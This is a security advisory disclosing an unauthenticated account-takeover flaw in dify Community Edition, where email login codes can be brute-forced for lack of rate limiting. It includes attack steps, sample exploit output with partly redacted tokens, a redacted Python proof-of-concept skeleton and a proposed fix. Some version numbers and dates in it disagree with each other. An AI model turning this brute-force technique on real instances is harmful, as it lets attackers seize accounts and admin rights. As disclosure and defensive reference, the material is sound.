CVE-2026-52354: Unauthenticated account takeover via email-code brute-force
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tested software:
- Vendor: dify AI
- Software: dify Community Edition 1.14.1/1.15.0
- Github repository: https://github.com/langgenius/dify
Responsible Disclosure Timeline: 90 days from first contact, if there is no response or communicated planned fix.
Timeline:
- 05-06-2026: Discovery of the vulnerability
- 13-06-2026: First report with details sent to security@dify.ai
- 02-07-2026: Vulnerability reported via Github
- 02-10-2026: Published Advisory and sent updates to get CVE published by mitre.org
Summary
An attacker can take-over any account registered at a dify instance. The only requirement is the knowledge of the email address or username of the target account.
This is possible because there is no rate limiting implemented at the endpoint /console/api/email-code-login/validity, which validates the code sent via email for the login.
Details
The appended exploit does the following steps:
- Trigger a new login code email for the account (via
/console/api/email-code-login) - Try as many possible codes in the next five minutes before the code expires (via
/console/api/email-code-login/validity)- If a valid code is found, fetch the returned cookies and use them to invite a new user with admin role and return the invite link.
- If there is no valid code found, the exploit repeats the steps until the given maximum number of tries is exceeded.
The success rate of a single try on my local machine was ~8%. For testing the success rate:
- 144 email code cracking runs were attempted
- 10 attempts were successful
- 134 attempts failed because the code correct email code was not found within 5 minutes
The takeover of an account takes 65 minutes on average. The attack may be parallelized to attack multiple accounts at the same time from the same originating IP address.
PoC
The application was setup locally with docker-compose in the Community Edition, as described in the following section. While the feature “Login with email code” is officially limited to the Enterprise Edition, the API endpoints used for this feature are also available in the Community Editon. The versions 1.14.1 and 1.15.0 have been tested.
Test environment setup
The test environment was setup on a Ubuntu Linux workstation with the following commands:
git clone --branch "$(curl -s https://api.github.com/repos/langgenius/dify/releases/latest | jq -r .tag_name)" https://github.com/langgenius/dify.git
cd dify/docker
cp .env.example .env
docker compose up -d
# go to http://localhost/install and create a new admin/owner user
Exploit
The account takeover was tested locally with the following command:
python3 ./auth_exploit.py
The following command output shows the successful attack:
Dify account take-over exploit
######### Email code attack attempt #0 #########
Received token for email code: fadd5984-1f70-4ebb-b6d7-7ca633d6f242
Try to brute force the correct code for 5 minutes...
***Status: NO SUCCESS - TIMEOUT: 300 seconds elapsed ***
######### Email code attack attempt #1 #########
Received token for email code: b85b443e-70c9-4538-9cbf-4c688c702cb4
Try to brute force the correct code for 5 minutes...
***Status: NO SUCCESS - TIMEOUT: 300 seconds elapsed ***
######### Email code attack attempt #2 #########
Received token for email code: c71e777c-851f-4236-a5c1-0460f125c35d
Try to brute force the correct code for 5 minutes...
Brute Force attack success!
Found code: 019602
{'result': 'success'}
================================================================================
HEADERS
================================================================================
Server: nginx/1.29.8
Date: Mon, 11 May 2026 11:33:02 GMT
Content-Type: application/json
Content-Length: 20
Connection: keep-alive
Set-Cookie: csrf_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey[REDACTED]J9.QeclwOJC9lrMf-TF9f5AOfUgIg_pKUaoYGKWYTWXs6Y; Expires=Mon, 11 May 2026 12:33:02 GMT; Max-Age=3600; Path=/; SameSite=Lax, access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey[REDACTED]In0.l5Bx7-ka15psaxG021n8w6Bws6tMifM59IZVZHEUYeg; Expires=Mon, 11 May 2026 12:33:02 GMT; Max-Age=3600; HttpOnly; Path=/; SameSite=Lax, refresh_token=5e[REDACTED]84a; Expires=Wed, 10 Jun 2026 11:33:02 GMT; Max-Age=2592000; HttpOnly; Path=/; SameSite=Lax
X-Version: 1.14.0
X-Env: PRODUCTION
Vary: Cookie
================================================================================
COOKIES
================================================================================
csrf_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ[REDACTED]MSJ9.QeclwOJC9lrMf-TF9f5AOfUgIg_pKUaoYGKWYTWXs6Y
access_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.ey[REDACTED]0.l5Bx7-ka15psaxG021n8w6Bws6tMifM59IZVZHEUYeg
refresh_token: 5ed[REDACTED]484a
Create new admin invite:
Created Admin invite URL: http://dify.local/activate?email=test%40dify.local&token=fe31d180-7fc0-40af-833f-f5ba2ba7c20b
Tenant-ID of Target: 4982511b-bb5b-4baf-84c0-4fe8234c756a
[...]
The created invite link was then opened in the browser and the new user with role admin was set up with a password.
Proof of concept Exploit code
import requests
import json
import base64
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from queue import Queue
import time
from threading import Lock, Event
# trigger sending email code and get token
# returns dict(cookies), token
def get_token(url: str, email: str):
# .... REDACTED ........
def check_code_validity_worker(queue, stop_event, url: str, cookies, email: str, token: str, invite_email):
# .... REDACTED ........
def brute_force_code(url: str, cookies, email: str, token: str, invite_email, num_threads=5):
"""Iterate through all 6-digit codes using range"""
# ..... REDACTED ......
def invite_new_admin(url: str, cookies, invite_email: str):
# .... REDACTED ........
# Set the following parameters
url = "http://dify.local"
email = "owner@dify.local"
invite_email = "test@dify.local"
number_of_threads = 5
print("Dify 1.14.0 account take-over exploit")
i = 0
while i < 144:
print("######### Email code attack attempt #" + str(i) + " #########")
cookies, token = get_token(url, email)
print("Try to brute force the correct code for 5 minutes...")
brute_force_code(url, cookies, email, token, invite_email, num_threads=number_of_threads)
i += 1
Impact
The vulnerability allows to take ownership of any account and workspace, if the email-address or username is known. All self-hosted Community Edition instances are vulnerable. Enterprise Edition was not tested, because I don’t have access to an enterprise instance.
Proposed Fix
Add IP-based Rate-Limiting to the endpoint and invalidate the token after a wrong code is entered.